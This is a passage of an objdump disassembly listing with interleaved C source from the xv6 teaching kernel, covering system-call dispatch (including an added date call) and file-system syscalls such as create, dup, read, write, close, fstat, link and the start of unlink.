$0x20,%esp int addr; if(argint(n, &addr) < 0) 801048d6: 8d 45 f4 lea -0xc(%ebp),%eax 801048d9: 50 push %eax 801048da: ff 75 08 pushl 0x8(%ebp) 801048dd: e8 3e ff ff ff call 80104820 <argint> 801048e2: 83 c4 10 add $0x10,%esp 801048e5: 85 c0 test %eax,%eax 801048e7: 78 17 js 80104900 <argstr+0x30> return -1; return fetchstr(addr, pp); 801048e9: 83 ec 08 sub $0x8,%esp 801048ec: ff 75 0c pushl 0xc(%ebp) 801048ef: ff 75 f4 pushl -0xc(%ebp) 801048f2: e8 b9 fe ff ff call 801047b0 <fetchstr> 801048f7: 83 c4 10 add $0x10,%esp } 801048fa: c9 leave 801048fb: c3 ret 801048fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104900: b8 ff ff ff ff mov $0xffffffff,%eax } 80104905: c9 leave 80104906: c3 ret 80104907: 89 f6 mov %esi,%esi 80104909: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104910 <syscall>: [SYS_date] sys_date, }; void syscall(void) { 80104910: 55 push %ebp 80104911: 89 e5 mov %esp,%ebp 80104913: 53 push %ebx 80104914: 83 ec 04 sub $0x4,%esp int num; struct proc *curproc = myproc(); 80104917: e8 c4 ee ff ff call 801037e0 <myproc> 8010491c: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 8010491e: 8b 40 18 mov 0x18(%eax),%eax 80104921: 8b 40 1c mov 0x1c(%eax),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104924: 8d 50 ff lea -0x1(%eax),%edx 80104927: 83 fa 16 cmp $0x16,%edx 8010492a: 77 1c ja 80104948 <syscall+0x38> 8010492c: 8b 14 85 20 77 10 80 mov -0x7fef88e0(,%eax,4),%edx 80104933: 85 d2 test %edx,%edx 80104935: 74 11 je 80104948 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104937: ff d2 call *%edx 80104939: 8b 53 18 mov 0x18(%ebx),%edx 8010493c: 89 42 1c mov %eax,0x1c(%edx) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010493f: 8b 5d fc mov -0x4(%ebp),%ebx 80104942: c9 leave 80104943: c3 ret 80104944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104948: 50 push %eax curproc->pid, curproc->name, num); 80104949: 8d 43 6c lea 0x6c(%ebx),%eax cprintf("%d %s: unknown sys call %d\n", 8010494c: 50 push %eax 8010494d: ff 73 10 pushl 0x10(%ebx) 80104950: 68 e9 76 10 80 push $0x801076e9 80104955: e8 06 bd ff ff call 80100660 <cprintf> curproc->tf->eax = -1; 8010495a: 8b 43 18 mov 0x18(%ebx),%eax 8010495d: 83 c4 10 add $0x10,%esp 80104960: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 80104967: 8b 5d fc mov -0x4(%ebp),%ebx 8010496a: c9 leave 8010496b: c3 ret 8010496c: 66 90 xchg %ax,%ax 8010496e: 66 90 xchg %ax,%ax 80104970 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104970: 55 push %ebp 80104971: 89 e5 mov %esp,%ebp 80104973: 57 push %edi 80104974: 56 push %esi 80104975: 53 push %ebx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104976: 8d 75 da lea -0x26(%ebp),%esi { 80104979: 83 ec 34 sub $0x34,%esp 8010497c: 89 4d d0 mov %ecx,-0x30(%ebp) 8010497f: 8b 4d 08 mov 0x8(%ebp),%ecx if((dp = nameiparent(path, name)) == 0) 80104982: 56 push %esi 80104983: 50 push %eax { 80104984: 89 55 d4 mov %edx,-0x2c(%ebp) 80104987: 89 4d cc mov %ecx,-0x34(%ebp) if((dp = nameiparent(path, name)) == 0) 8010498a: e8 71 d5 ff ff call 80101f00 <nameiparent> 8010498f: 83 c4 10 add $0x10,%esp 80104992: 85 c0 test %eax,%eax 80104994: 0f 84 46 01 00 00 je 80104ae0 <create+0x170> return 0; ilock(dp); 8010499a: 83 ec 0c sub $0xc,%esp 8010499d: 89 c3 mov %eax,%ebx 8010499f: 50 push %eax 801049a0: e8 db cc ff ff call 80101680 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 801049a5: 83 c4 0c add $0xc,%esp 801049a8: 6a 00 push $0x0 801049aa: 56 push %esi 801049ab: 53 push %ebx 801049ac: e8 ff d1 ff ff call 80101bb0 <dirlookup> 801049b1: 83 c4 10 add $0x10,%esp 801049b4: 85 c0 test %eax,%eax 801049b6: 89 c7 mov %eax,%edi 801049b8: 74 36 je 801049f0 <create+0x80> iunlockput(dp); 801049ba: 83 ec 0c sub $0xc,%esp 801049bd: 53 push %ebx 801049be: e8 4d cf ff ff call 80101910 <iunlockput> ilock(ip); 801049c3: 89 3c 24 mov %edi,(%esp) 801049c6: e8 b5 cc ff ff call 80101680 <ilock> if(type == T_FILE && ip->type == T_FILE) 801049cb: 83 c4 10 add $0x10,%esp 801049ce: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 801049d3: 0f 85 97 00 00 00 jne 80104a70 <create+0x100> 801049d9: 66 83 7f 50 02 cmpw $0x2,0x50(%edi) 801049de: 0f 85 8c 00 00 00 jne 80104a70 <create+0x100> panic("create: dirlink"); iunlockput(dp); return ip; } 801049e4: 8d 65 f4 lea -0xc(%ebp),%esp 801049e7: 89 f8 mov %edi,%eax 801049e9: 5b pop %ebx 801049ea: 5e pop %esi 801049eb: 5f pop %edi 801049ec: 5d pop %ebp 801049ed: c3 ret 801049ee: 66 90 xchg %ax,%ax if((ip = ialloc(dp->dev, type)) == 0) 801049f0: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 801049f4: 83 ec 08 sub $0x8,%esp 801049f7: 50 push %eax 801049f8: ff 33 pushl (%ebx) 801049fa: e8 11 cb ff ff call 80101510 <ialloc> 801049ff: 83 c4 10 add $0x10,%esp 80104a02: 85 c0 test %eax,%eax 80104a04: 89 c7 mov %eax,%edi 80104a06: 0f 84 e8 00 00 00 je 80104af4 <create+0x184> ilock(ip); 80104a0c: 83 ec 0c sub $0xc,%esp 80104a0f: 50 push %eax 80104a10: e8 6b cc ff ff call 80101680 <ilock> ip->major = major; 80104a15: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 80104a19: 66 89 47 52 mov %ax,0x52(%edi) ip->minor = minor; 80104a1d: 0f b7 45 cc movzwl -0x34(%ebp),%eax 80104a21: 66 89 47 54 mov %ax,0x54(%edi) ip->nlink = 1; 80104a25: b8 01 00 00 00 mov $0x1,%eax 80104a2a: 66 89 47 56 mov %ax,0x56(%edi) iupdate(ip); 80104a2e: 89 3c 24 mov %edi,(%esp) 80104a31: e8 9a cb ff ff call 801015d0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104a36: 83 c4 10 add $0x10,%esp 80104a39: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80104a3e: 74 50 je 80104a90 <create+0x120> if(dirlink(dp, name, ip->inum) < 0) 80104a40: 83 ec 04 sub $0x4,%esp 80104a43: ff 77 04 pushl 0x4(%edi) 80104a46: 56 push %esi 80104a47: 53 push %ebx 80104a48: e8 d3 d3 ff ff call 80101e20 <dirlink> 80104a4d: 83 c4 10 add $0x10,%esp 80104a50: 85 c0 test %eax,%eax 80104a52: 0f 88 8f 00 00 00 js 80104ae7 <create+0x177> iunlockput(dp); 80104a58: 83 ec 0c sub $0xc,%esp 80104a5b: 53 push %ebx 80104a5c: e8 af ce ff ff call 80101910 <iunlockput> return ip; 80104a61: 83 c4 10 add $0x10,%esp } 80104a64: 8d 65 f4 lea -0xc(%ebp),%esp 80104a67: 89 f8 mov %edi,%eax 80104a69: 5b pop %ebx 80104a6a: 5e pop %esi 80104a6b: 5f pop %edi 80104a6c: 5d pop %ebp 80104a6d: c3 ret 80104a6e: 66 90 xchg %ax,%ax iunlockput(ip); 80104a70: 83 ec 0c sub $0xc,%esp 80104a73: 57 push %edi return 0; 80104a74: 31 ff xor %edi,%edi iunlockput(ip); 80104a76: e8 95 ce ff ff call 80101910 <iunlockput> return 0; 80104a7b: 83 c4 10 add $0x10,%esp } 80104a7e: 8d 65 f4 lea -0xc(%ebp),%esp 80104a81: 89 f8 mov %edi,%eax 80104a83: 5b pop %ebx 80104a84: 5e pop %esi 80104a85: 5f pop %edi 80104a86: 5d pop %ebp 80104a87: c3 ret 80104a88: 90 nop 80104a89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink++; // for ".." 80104a90: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(dp); 80104a95: 83 ec 0c sub $0xc,%esp 80104a98: 53 push %ebx 80104a99: e8 32 cb ff ff call 801015d0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80104a9e: 83 c4 0c add $0xc,%esp 80104aa1: ff 77 04 pushl 0x4(%edi) 80104aa4: 68 9c 77 10 80 push $0x8010779c 80104aa9: 57 push %edi 80104aaa: e8 71 d3 ff ff call 80101e20 <dirlink> 80104aaf: 83 c4 10 add $0x10,%esp 80104ab2: 85 c0 test %eax,%eax 80104ab4: 78 1c js 80104ad2 <create+0x162> 80104ab6: 83 ec 04 sub $0x4,%esp 80104ab9: ff 73 04 pushl 0x4(%ebx) 80104abc: 68 9b 77 10 80 push $0x8010779b 80104ac1: 57 push %edi 80104ac2: e8 59 d3 ff ff call 80101e20 <dirlink> 80104ac7: 83 c4 10 add $0x10,%esp 80104aca: 85 c0 test %eax,%eax 80104acc: 0f 89 6e ff ff ff jns 80104a40 <create+0xd0> panic("create dots"); 80104ad2: 83 ec 0c sub $0xc,%esp 80104ad5: 68 8f 77 10 80 push $0x8010778f 80104ada: e8 b1 b8 ff ff call 80100390 <panic> 80104adf: 90 nop return 0; 80104ae0: 31 ff xor %edi,%edi 80104ae2: e9 fd fe ff ff jmp 801049e4 <create+0x74> panic("create: dirlink"); 80104ae7: 83 ec 0c sub $0xc,%esp 80104aea: 68 9e 77 10 80 push $0x8010779e 80104aef: e8 9c b8 ff ff call 80100390 <panic> panic("create: ialloc"); 80104af4: 83 ec 0c sub $0xc,%esp 80104af7: 68 80 77 10 80 push $0x80107780 80104afc: e8 8f b8 ff ff call 80100390 <panic> 80104b01: eb 0d jmp 80104b10 <argfd.constprop.0> 80104b03: 90 nop 80104b04: 90 nop 80104b05: 90 nop 80104b06: 90 nop 80104b07: 90 nop 80104b08: 90 nop 80104b09: 90 nop 80104b0a: 90 nop 80104b0b: 90 nop 80104b0c: 90 nop 80104b0d: 90 nop 80104b0e: 90 nop 80104b0f: 90 nop 80104b10 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104b10: 55 push %ebp 80104b11: 89 e5 mov %esp,%ebp 80104b13: 56 push %esi 80104b14: 53 push %ebx 80104b15: 89 c3 mov %eax,%ebx if(argint(n, &fd) < 0) 80104b17: 8d 45 f4 lea -0xc(%ebp),%eax argfd(int n, int *pfd, struct file **pf) 80104b1a: 89 d6 mov %edx,%esi 80104b1c: 83 ec 18 sub $0x18,%esp if(argint(n, &fd) < 0) 80104b1f: 50 push %eax 80104b20: 6a 00 push $0x0 80104b22: e8 f9 fc ff ff call 80104820 <argint> 80104b27: 83 c4 10 add $0x10,%esp 80104b2a: 85 c0 test %eax,%eax 80104b2c: 78 2a js 80104b58 <argfd.constprop.0+0x48> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104b2e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104b32: 77 24 ja 80104b58 <argfd.constprop.0+0x48> 80104b34: e8 a7 ec ff ff call 801037e0 <myproc> 80104b39: 8b 55 f4 mov -0xc(%ebp),%edx 80104b3c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104b40: 85 c0 test %eax,%eax 80104b42: 74 14 je 80104b58 <argfd.constprop.0+0x48> if(pfd) 80104b44: 85 db test %ebx,%ebx 80104b46: 74 02 je 80104b4a <argfd.constprop.0+0x3a> *pfd = fd; 80104b48: 89 13 mov %edx,(%ebx) *pf = f; 80104b4a: 89 06 mov %eax,(%esi) return 0; 80104b4c: 31 c0 xor %eax,%eax } 80104b4e: 8d 65 f8 lea -0x8(%ebp),%esp 80104b51: 5b pop %ebx 80104b52: 5e pop %esi 80104b53: 5d pop %ebp 80104b54: c3 ret 80104b55: 8d 76 00 lea 0x0(%esi),%esi return -1; 80104b58: b8 ff ff ff ff mov $0xffffffff,%eax 80104b5d: eb ef jmp 80104b4e <argfd.constprop.0+0x3e> 80104b5f: 90 nop 80104b60 <sys_dup>: { 80104b60: 55 push %ebp if(argfd(0, 0, &f) < 0) 80104b61: 31 c0 xor %eax,%eax { 80104b63: 89 e5 mov %esp,%ebp 80104b65: 56 push %esi 80104b66: 53 push %ebx if(argfd(0, 0, &f) < 0) 80104b67: 8d 55 f4 lea -0xc(%ebp),%edx { 80104b6a: 83 ec 10 sub $0x10,%esp if(argfd(0, 0, &f) < 0) 80104b6d: e8 9e ff ff ff call 80104b10 <argfd.constprop.0> 80104b72: 85 c0 test %eax,%eax 80104b74: 78 42 js 80104bb8 <sys_dup+0x58> if((fd=fdalloc(f)) < 0) 80104b76: 8b 75 f4 mov -0xc(%ebp),%esi for(fd = 0; fd < NOFILE; fd++){ 80104b79: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 80104b7b: e8 60 ec ff ff call 801037e0 <myproc> 80104b80: eb 0e jmp 80104b90 <sys_dup+0x30> 80104b82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(fd = 0; fd < NOFILE; fd++){ 80104b88: 83 c3 01 add $0x1,%ebx 80104b8b: 83 fb 10 cmp $0x10,%ebx 80104b8e: 74 28 je 80104bb8 <sys_dup+0x58> if(curproc->ofile[fd] == 0){ 80104b90: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80104b94: 85 d2 test %edx,%edx 80104b96: 75 f0 jne 80104b88 <sys_dup+0x28> curproc->ofile[fd] = f; 80104b98: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) filedup(f); 80104b9c: 83 ec 0c sub $0xc,%esp 80104b9f: ff 75 f4 pushl -0xc(%ebp) 80104ba2: e8 49 c2 ff ff call 80100df0 <filedup> return fd; 80104ba7: 83 c4 10 add $0x10,%esp } 80104baa: 8d 65 f8 lea -0x8(%ebp),%esp 80104bad: 89 d8 mov %ebx,%eax 80104baf: 5b pop %ebx 80104bb0: 5e pop %esi 80104bb1: 5d pop %ebp 80104bb2: c3 ret 80104bb3: 90 nop 80104bb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104bb8: 8d 65 f8 lea -0x8(%ebp),%esp return -1; 80104bbb: bb ff ff ff ff mov $0xffffffff,%ebx } 80104bc0: 89 d8 mov %ebx,%eax 80104bc2: 5b pop %ebx 80104bc3: 5e pop %esi 80104bc4: 5d pop %ebp 80104bc5: c3 ret 80104bc6: 8d 76 00 lea 0x0(%esi),%esi 80104bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104bd0 <sys_read>: { 80104bd0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104bd1: 31 c0 xor %eax,%eax { 80104bd3: 89 e5 mov %esp,%ebp 80104bd5: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104bd8: 8d 55 ec lea -0x14(%ebp),%edx 80104bdb: e8 30 ff ff ff call 80104b10 <argfd.constprop.0> 80104be0: 85 c0 test %eax,%eax 80104be2: 78 4c js 80104c30 <sys_read+0x60> 80104be4: 8d 45 f0 lea -0x10(%ebp),%eax 80104be7: 83 ec 08 sub $0x8,%esp 80104bea: 50 push %eax 80104beb: 6a 02 push $0x2 80104bed: e8 2e fc ff ff call 80104820 <argint> 80104bf2: 83 c4 10 add $0x10,%esp 80104bf5: 85 c0 test %eax,%eax 80104bf7: 78 37 js 80104c30 <sys_read+0x60> 80104bf9: 8d 45 f4 lea -0xc(%ebp),%eax 80104bfc: 83 ec 04 sub $0x4,%esp 80104bff: ff 75 f0 pushl -0x10(%ebp) 80104c02: 50 push %eax 80104c03: 6a 01 push $0x1 80104c05: e8 66 fc ff ff call 80104870 <argptr> 80104c0a: 83 c4 10 add $0x10,%esp 80104c0d: 85 c0 test %eax,%eax 80104c0f: 78 1f js 80104c30 <sys_read+0x60> return fileread(f, p, n); 80104c11: 83 ec 04 sub $0x4,%esp 80104c14: ff 75 f0 pushl -0x10(%ebp) 80104c17: ff 75 f4 pushl -0xc(%ebp) 80104c1a: ff 75 ec pushl -0x14(%ebp) 80104c1d: e8 3e c3 ff ff call 80100f60 <fileread> 80104c22: 83 c4 10 add $0x10,%esp } 80104c25: c9 leave 80104c26: c3 ret 80104c27: 89 f6 mov %esi,%esi 80104c29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104c30: b8 ff ff ff ff mov $0xffffffff,%eax } 80104c35: c9 leave 80104c36: c3 ret 80104c37: 89 f6 mov %esi,%esi 80104c39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104c40 <sys_write>: { 80104c40: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104c41: 31 c0 xor %eax,%eax { 80104c43: 89 e5 mov %esp,%ebp 80104c45: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104c48: 8d 55 ec lea -0x14(%ebp),%edx 80104c4b: e8 c0 fe ff ff call 80104b10 <argfd.constprop.0> 80104c50: 85 c0 test %eax,%eax 80104c52: 78 4c js 80104ca0 <sys_write+0x60> 80104c54: 8d 45 f0 lea -0x10(%ebp),%eax 80104c57: 83 ec 08 sub $0x8,%esp 80104c5a: 50 push %eax 80104c5b: 6a 02 push $0x2 80104c5d: e8 be fb ff ff call 80104820 <argint> 80104c62: 83 c4 10 add $0x10,%esp 80104c65: 85 c0 test %eax,%eax 80104c67: 78 37 js 80104ca0 <sys_write+0x60> 80104c69: 8d 45 f4 lea -0xc(%ebp),%eax 80104c6c: 83 ec 04 sub $0x4,%esp 80104c6f: ff 75 f0 pushl -0x10(%ebp) 80104c72: 50 push %eax 80104c73: 6a 01 push $0x1 80104c75: e8 f6 fb ff ff call 80104870 <argptr> 80104c7a: 83 c4 10 add $0x10,%esp 80104c7d: 85 c0 test %eax,%eax 80104c7f: 78 1f js 80104ca0 <sys_write+0x60> return filewrite(f, p, n); 80104c81: 83 ec 04 sub $0x4,%esp 80104c84: ff 75 f0 pushl -0x10(%ebp) 80104c87: ff 75 f4 pushl -0xc(%ebp) 80104c8a: ff 75 ec pushl -0x14(%ebp) 80104c8d: e8 5e c3 ff ff call 80100ff0 <filewrite> 80104c92: 83 c4 10 add $0x10,%esp } 80104c95: c9 leave 80104c96: c3 ret 80104c97: 89 f6 mov %esi,%esi 80104c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104ca0: b8 ff ff ff ff mov $0xffffffff,%eax } 80104ca5: c9 leave 80104ca6: c3 ret 80104ca7: 89 f6 mov %esi,%esi 80104ca9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104cb0 <sys_close>: { 80104cb0: 55 push %ebp 80104cb1: 89 e5 mov %esp,%ebp 80104cb3: 83 ec 18 sub $0x18,%esp if(argfd(0, &fd, &f) < 0) 80104cb6: 8d 55 f4 lea -0xc(%ebp),%edx 80104cb9: 8d 45 f0 lea -0x10(%ebp),%eax 80104cbc: e8 4f fe ff ff call 80104b10 <argfd.constprop.0> 80104cc1: 85 c0 test %eax,%eax 80104cc3: 78 2b js 80104cf0 <sys_close+0x40> myproc()->ofile[fd] = 0; 80104cc5: e8 16 eb ff ff call 801037e0 <myproc> 80104cca: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 80104ccd: 83 ec 0c sub $0xc,%esp myproc()->ofile[fd] = 0; 80104cd0: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104cd7: 00 fileclose(f); 80104cd8: ff 75 f4 pushl -0xc(%ebp) 80104cdb: e8 60 c1 ff ff call 80100e40 <fileclose> return 0; 80104ce0: 83 c4 10 add $0x10,%esp 80104ce3: 31 c0 xor %eax,%eax } 80104ce5: c9 leave 80104ce6: c3 ret 80104ce7: 89 f6 mov %esi,%esi 80104ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104cf0: b8 ff ff ff ff mov $0xffffffff,%eax } 80104cf5: c9 leave 80104cf6: c3 ret 80104cf7: 89 f6 mov %esi,%esi 80104cf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104d00 <sys_fstat>: { 80104d00: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104d01: 31 c0 xor %eax,%eax { 80104d03: 89 e5 mov %esp,%ebp 80104d05: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104d08: 8d 55 f0 lea -0x10(%ebp),%edx 80104d0b: e8 00 fe ff ff call 80104b10 <argfd.constprop.0> 80104d10: 85 c0 test %eax,%eax 80104d12: 78 2c js 80104d40 <sys_fstat+0x40> 80104d14: 8d 45 f4 lea -0xc(%ebp),%eax 80104d17: 83 ec 04 sub $0x4,%esp 80104d1a: 6a 14 push $0x14 80104d1c: 50 push %eax 80104d1d: 6a 01 push $0x1 80104d1f: e8 4c fb ff ff call 80104870 <argptr> 80104d24: 83 c4 10 add $0x10,%esp 80104d27: 85 c0 test %eax,%eax 80104d29: 78 15 js 80104d40 <sys_fstat+0x40> return filestat(f, st); 80104d2b: 83 ec 08 sub $0x8,%esp 80104d2e: ff 75 f4 pushl -0xc(%ebp) 80104d31: ff 75 f0 pushl -0x10(%ebp) 80104d34: e8 d7 c1 ff ff call 80100f10 <filestat> 80104d39: 83 c4 10 add $0x10,%esp } 80104d3c: c9 leave 80104d3d: c3 ret 80104d3e: 66 90 xchg %ax,%ax return -1; 80104d40: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d45: c9 leave 80104d46: c3 ret 80104d47: 89 f6 mov %esi,%esi 80104d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104d50 <sys_link>: { 80104d50: 55 push %ebp 80104d51: 89 e5 mov %esp,%ebp 80104d53: 57 push %edi 80104d54: 56 push %esi 80104d55: 53 push %ebx if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104d56: 8d 45 d4 lea -0x2c(%ebp),%eax { 80104d59: 83 ec 34 sub $0x34,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104d5c: 50 push %eax 80104d5d: 6a 00 push $0x0 80104d5f: e8 6c fb ff ff call 801048d0 <argstr> 80104d64: 83 c4 10 add $0x10,%esp 80104d67: 85 c0 test %eax,%eax 80104d69: 0f 88 fb 00 00 00 js 80104e6a <sys_link+0x11a> 80104d6f: 8d 45 d0 lea -0x30(%ebp),%eax 80104d72: 83 ec 08 sub $0x8,%esp 80104d75: 50 push %eax 80104d76: 6a 01 push $0x1 80104d78: e8 53 fb ff ff call 801048d0 <argstr> 80104d7d: 83 c4 10 add $0x10,%esp 80104d80: 85 c0 test %eax,%eax 80104d82: 0f 88 e2 00 00 00 js 80104e6a <sys_link+0x11a> begin_op(); 80104d88: e8 13 de ff ff call 80102ba0 <begin_op> if((ip = namei(old)) == 0){ 80104d8d: 83 ec 0c sub $0xc,%esp 80104d90: ff 75 d4 pushl -0x2c(%ebp) 80104d93: e8 48 d1 ff ff call 80101ee0 <namei> 80104d98: 83 c4 10 add $0x10,%esp 80104d9b: 85 c0 test %eax,%eax 80104d9d: 89 c3 mov %eax,%ebx 80104d9f: 0f 84 ea 00 00 00 je 80104e8f <sys_link+0x13f> ilock(ip); 80104da5: 83 ec 0c sub $0xc,%esp 80104da8: 50 push %eax 80104da9: e8 d2 c8 ff ff call 80101680 <ilock> if(ip->type == T_DIR){ 80104dae: 83 c4 10 add $0x10,%esp 80104db1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104db6: 0f 84 bb 00 00 00 je 80104e77 <sys_link+0x127> ip->nlink++; 80104dbc: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); 80104dc1: 83 ec 0c sub $0xc,%esp if((dp = nameiparent(new, name)) == 0) 80104dc4: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104dc7: 53 push %ebx 80104dc8: e8 03 c8 ff ff call 801015d0 <iupdate> iunlock(ip); 80104dcd: 89 1c 24 mov %ebx,(%esp) 80104dd0: e8 8b c9 ff ff call 80101760 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104dd5: 58 pop %eax 80104dd6: 5a pop %edx 80104dd7: 57 push %edi 80104dd8: ff 75 d0 pushl -0x30(%ebp) 80104ddb: e8 20 d1 ff ff call 80101f00 <nameiparent> 80104de0: 83 c4 10 add $0x10,%esp 80104de3: 85 c0 test %eax,%eax 80104de5: 89 c6 mov %eax,%esi 80104de7: 74 5b je 80104e44 <sys_link+0xf4> ilock(dp); 80104de9: 83 ec 0c sub $0xc,%esp 80104dec: 50 push %eax 80104ded: e8 8e c8 ff ff call 80101680 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104df2: 83 c4 10 add $0x10,%esp 80104df5: 8b 03 mov (%ebx),%eax 80104df7: 39 06 cmp %eax,(%esi) 80104df9: 75 3d jne 80104e38 <sys_link+0xe8> 80104dfb: 83 ec 04 sub $0x4,%esp 80104dfe: ff 73 04 pushl 0x4(%ebx) 80104e01: 57 push %edi 80104e02: 56 push %esi 80104e03: e8 18 d0 ff ff call 80101e20 <dirlink> 80104e08: 83 c4 10 add $0x10,%esp 80104e0b: 85 c0 test %eax,%eax 80104e0d: 78 29 js 80104e38 <sys_link+0xe8> iunlockput(dp); 80104e0f: 83 ec 0c sub $0xc,%esp 80104e12: 56 push %esi 80104e13: e8 f8 ca ff ff call 80101910 <iunlockput> iput(ip); 80104e18: 89 1c 24 mov %ebx,(%esp) 80104e1b: e8 90 c9 ff ff call 801017b0 <iput> end_op(); 80104e20: e8 eb dd ff ff call 80102c10 <end_op> return 0; 80104e25: 83 c4 10 add $0x10,%esp 80104e28: 31 c0 xor %eax,%eax } 80104e2a: 8d 65 f4 lea -0xc(%ebp),%esp 80104e2d: 5b pop %ebx 80104e2e: 5e pop %esi 80104e2f: 5f pop %edi 80104e30: 5d pop %ebp 80104e31: c3 ret 80104e32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi iunlockput(dp); 80104e38: 83 ec 0c sub $0xc,%esp 80104e3b: 56 push %esi 80104e3c: e8 cf ca ff ff call 80101910 <iunlockput> goto bad; 80104e41: 83 c4 10 add $0x10,%esp ilock(ip); 80104e44: 83 ec 0c sub $0xc,%esp 80104e47: 53 push %ebx 80104e48: e8 33 c8 ff ff call 80101680 <ilock> ip->nlink--; 80104e4d: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104e52: 89 1c 24 mov %ebx,(%esp) 80104e55: e8 76 c7 ff ff call 801015d0 <iupdate> iunlockput(ip); 80104e5a: 89 1c 24 mov %ebx,(%esp) 80104e5d: e8 ae ca ff ff call 80101910 <iunlockput> end_op(); 80104e62: e8 a9 dd ff ff call 80102c10 <end_op> return -1; 80104e67: 83 c4 10 add $0x10,%esp } 80104e6a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80104e6d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104e72: 5b pop %ebx 80104e73: 5e pop %esi 80104e74: 5f pop %edi 80104e75: 5d pop %ebp 80104e76: c3 ret iunlockput(ip); 80104e77: 83 ec 0c sub $0xc,%esp 80104e7a: 53 push %ebx 80104e7b: e8 90 ca ff ff call 80101910 <iunlockput> end_op(); 80104e80: e8 8b dd ff ff call 80102c10 <end_op> return -1; 80104e85: 83 c4 10 add $0x10,%esp 80104e88: b8 ff ff ff ff mov $0xffffffff,%eax 80104e8d: eb 9b jmp 80104e2a <sys_link+0xda> end_op(); 80104e8f: e8 7c dd ff ff call 80102c10 <end_op> return -1; 80104e94: b8 ff ff ff ff mov $0xffffffff,%eax 80104e99: eb 8f jmp 80104e2a <sys_link+0xda> 80104e9b: 90 nop 80104e9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104ea0 <sys_unlink>: { 80104ea0: 55 push %ebp 80104ea1: 89 e5 mov %esp,%ebp 80104ea3: 57 push %edi 80104ea4: 56 push %esi 80104ea5: 53 push %ebx if(argstr(0, &path) < 0) 80104ea6: 8d 45 c0 lea -0x40(%ebp),%eax { 80104ea9: 83 ec 44 sub $0x44,%esp if(argstr(0, &path) < 0) 80104eac: 50 push %eax 80104ead: 6a 00 push $0x0 80104eaf: e8 1c fa ff ff call 801048d0 <argstr> 80104eb4: 83 c4 10 add $0x10,%esp 80104eb7: 85 c0 test %eax,%eax 80104eb9: 0f 88 77 01 00 00 js 80105036 <sys_unlink+0x196> if((dp = nameiparent(path, name)) == 0){ 80104ebf: 8d 5d ca lea -0x36(%ebp),%ebx begin_op(); 80104ec2: e8 d9 dc ff ff call 80102ba0 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104ec7: 83 ec 08 sub $0x8,%esp 80104eca: 53 push %ebx 